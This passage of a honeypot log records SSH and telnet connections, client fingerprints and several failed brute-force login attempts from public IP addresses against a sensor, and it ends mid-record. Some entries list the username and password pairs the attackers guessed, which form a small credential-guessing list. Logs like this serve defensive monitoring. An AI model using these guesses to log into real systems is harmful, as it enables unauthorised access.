{"eventid":"cowrie.login.failed","username":"root","password":"VANILLE","message":"login attempt [root/VANILLE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:56.730152Z","src_ip":"213.209.159.158","session":"d6e5555b8e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:00.042058Z","src_ip":"213.209.159.158","session":"d6e5555b8e43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":18468,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfb7fe184970","protocol":"ssh","message":"New connection: 213.209.159.158:18468 (10.17.0.5:22) [session: dfb7fe184970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:00.124460Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39204,"dst_ip":"10.17.0.5","dst_port":23,"session":"69be4ad25107","protocol":"telnet","message":"New connection: 165.232.131.181:39204 (10.17.0.5:23) [session: 69be4ad25107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:01.619279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:02.599339Z","src_ip":"213.209.159.158","session":"dfb7fe184970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:02.603853Z","src_ip":"213.209.159.158","session":"dfb7fe184970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49718,"dst_ip":"10.17.0.5","dst_port":23,"session":"509952920619","protocol":"telnet","message":"New connection: 38.54.119.93:49718 (10.17.0.5:23) [session: 509952920619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:04.474914Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38944,"dst_ip":"10.17.0.5","dst_port":23,"session":"a333a5426043","protocol":"telnet","message":"New connection: 62.210.97.77:38944 (10.17.0.5:23) [session: a333a5426043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:05.439384Z"}
{"eventid":"cowrie.session.closed","duration":43.576066970825195,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:06.614437Z","src_ip":"38.54.119.93","session":"c22fb404f2d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.445383071899414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:06.710222Z","src_ip":"62.210.97.77","session":"5667621b9d94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41252,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5b89fc16f56","protocol":"telnet","message":"New connection: 165.232.131.181:41252 (10.17.0.5:23) [session: d5b89fc16f56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:09.795731Z"}
{"eventid":"cowrie.session.closed","duration":37.82062602043152,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:10.082751Z","src_ip":"38.54.119.93","session":"637ec66b75fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.78974175453186,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:10.264555Z","src_ip":"38.54.119.93","session":"509952920619","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54472,"dst_ip":"10.17.0.5","dst_port":23,"session":"986f21a7857a","protocol":"telnet","message":"New connection: 62.210.97.77:54472 (10.17.0.5:23) [session: 986f21a7857a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:11.605235Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vagrant123!","message":"login attempt [root/Vagrant123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:12.218315Z","src_ip":"213.209.159.158","session":"dfb7fe184970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.80578255653381,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:14.656773Z","src_ip":"65.60.27.33","session":"eab4df9514ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:15.759812Z","src_ip":"213.209.159.158","session":"dfb7fe184970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":53972,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f185fe990f5","protocol":"ssh","message":"New connection: 213.209.159.158:53972 (10.17.0.5:22) [session: 1f185fe990f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:15.838514Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45522,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed36340018d4","protocol":"telnet","message":"New connection: 165.232.131.181:45522 (10.17.0.5:23) [session: ed36340018d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:17.487687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:18.108771Z","src_ip":"213.209.159.158","session":"1f185fe990f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:18.113227Z","src_ip":"213.209.159.158","session":"1f185fe990f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60524,"dst_ip":"10.17.0.5","dst_port":23,"session":"78442d788c92","protocol":"telnet","message":"New connection: 38.54.119.93:60524 (10.17.0.5:23) [session: 78442d788c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:21.191058Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48004,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb7061a635be","protocol":"telnet","message":"New connection: 65.60.27.33:48004 (10.17.0.5:23) [session: bb7061a635be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:21.242435Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51984,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3465ea10c9f","protocol":"telnet","message":"New connection: 62.210.97.77:51984 (10.17.0.5:23) [session: c3465ea10c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:22.264993Z"}
{"eventid":"cowrie.session.closed","duration":42.858707904815674,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:22.810369Z","src_ip":"165.232.131.181","session":"3c49509f73d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.527554988861084,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:23.494788Z","src_ip":"165.232.131.181","session":"d65db231ee87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51802,"dst_ip":"10.17.0.5","dst_port":23,"session":"887325d1e857","protocol":"telnet","message":"New connection: 65.60.27.33:51802 (10.17.0.5:23) [session: 887325d1e857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:24.640922Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":36485,"dst_ip":"159.203.135.109","dst_port":22,"session":"3afa6e9b851b","protocol":"ssh","message":"New connection: 89.218.69.66:36485 (159.203.135.109:22) [session: 3afa6e9b851b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:24.976859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:24.981845Z","src_ip":"89.218.69.66","session":"3afa6e9b851b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:25.151185Z","src_ip":"89.218.69.66","session":"3afa6e9b851b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52000,"dst_ip":"10.17.0.5","dst_port":23,"session":"06e3ab961992","protocol":"telnet","message":"New connection: 62.210.97.77:52000 (10.17.0.5:23) [session: 06e3ab961992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:25.165259Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52004,"dst_ip":"10.17.0.5","dst_port":23,"session":"07f23d7561a1","protocol":"telnet","message":"New connection: 62.210.97.77:52004 (10.17.0.5:23) [session: 07f23d7561a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:25.531940Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"raspberry","message":"login attempt [ubuntu/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:25.859569Z","src_ip":"89.218.69.66","session":"3afa6e9b851b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:27.035853Z","src_ip":"89.218.69.66","session":"3afa6e9b851b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"valera","message":"login attempt [root/valera] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:27.570472Z","src_ip":"213.209.159.158","session":"1f185fe990f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49170,"dst_ip":"10.17.0.5","dst_port":23,"session":"d286ccd4052b","protocol":"telnet","message":"New connection: 165.232.131.181:49170 (10.17.0.5:23) [session: d286ccd4052b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:27.816800Z"}
{"eventid":"cowrie.session.closed","duration":33.43153715133667,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:27.986760Z","src_ip":"62.210.97.77","session":"fe48f6550cda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55400,"dst_ip":"10.17.0.5","dst_port":23,"session":"45f57e67999b","protocol":"telnet","message":"New connection: 62.210.97.77:55400 (10.17.0.5:23) [session: 45f57e67999b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:28.920618Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49210,"dst_ip":"10.17.0.5","dst_port":23,"session":"840d38097e06","protocol":"telnet","message":"New connection: 165.232.131.181:49210 (10.17.0.5:23) [session: 840d38097e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:28.956200Z"}
{"eventid":"cowrie.session.closed","duration":39.20423173904419,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:30.959779Z","src_ip":"62.210.97.77","session":"166b1d5dc4eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:31.039845Z","src_ip":"213.209.159.158","session":"1f185fe990f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":21118,"dst_ip":"10.17.0.5","dst_port":22,"session":"38f73276ddd7","protocol":"ssh","message":"New connection: 213.209.159.158:21118 (10.17.0.5:22) [session: 38f73276ddd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:31.133326Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":38796,"dst_ip":"10.17.0.5","dst_port":23,"session":"634cc2a5dc99","protocol":"telnet","message":"New connection: 38.54.119.93:38796 (10.17.0.5:23) [session: 634cc2a5dc99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:31.887557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:33.268300Z","src_ip":"213.209.159.158","session":"38f73276ddd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:33.272399Z","src_ip":"213.209.159.158","session":"38f73276ddd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34020,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b1bd1c72d56","protocol":"telnet","message":"New connection: 65.60.27.33:34020 (10.17.0.5:23) [session: 2b1bd1c72d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:34.125602Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55402,"dst_ip":"10.17.0.5","dst_port":23,"session":"7401be5d040f","protocol":"telnet","message":"New connection: 62.210.97.77:55402 (10.17.0.5:23) [session: 7401be5d040f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:35.586556Z"}
{"eventid":"cowrie.session.closed","duration":5.817896127700806,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:37.705332Z","src_ip":"38.54.119.93","session":"634cc2a5dc99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.12747287750244,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:39.536091Z","src_ip":"165.232.131.181","session":"37164611df10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55274,"dst_ip":"10.17.0.5","dst_port":23,"session":"850589abd915","protocol":"telnet","message":"New connection: 62.210.97.77:55274 (10.17.0.5:23) [session: 850589abd915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:41.682177Z"}
{"eventid":"cowrie.session.closed","duration":30.759252309799194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:42.364347Z","src_ip":"62.210.97.77","session":"986f21a7857a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.41077709197998,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:42.850020Z","src_ip":"62.210.97.77","session":"a333a5426043","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"User1234","message":"login attempt [root/User1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:43.124201Z","src_ip":"213.209.159.158","session":"38f73276ddd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.40413546562195,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:46.023280Z","src_ip":"165.232.131.181","session":"69be4ad25107","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:46.363739Z","src_ip":"213.209.159.158","session":"38f73276ddd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47758,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e0c9b26c19b","protocol":"telnet","message":"New connection: 65.60.27.33:47758 (10.17.0.5:23) [session: 3e0c9b26c19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:46.387922Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":2570,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc086881756f","protocol":"ssh","message":"New connection: 213.209.159.158:2570 (10.17.0.5:22) [session: cc086881756f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:46.444967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:48.807127Z","src_ip":"213.209.159.158","session":"cc086881756f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 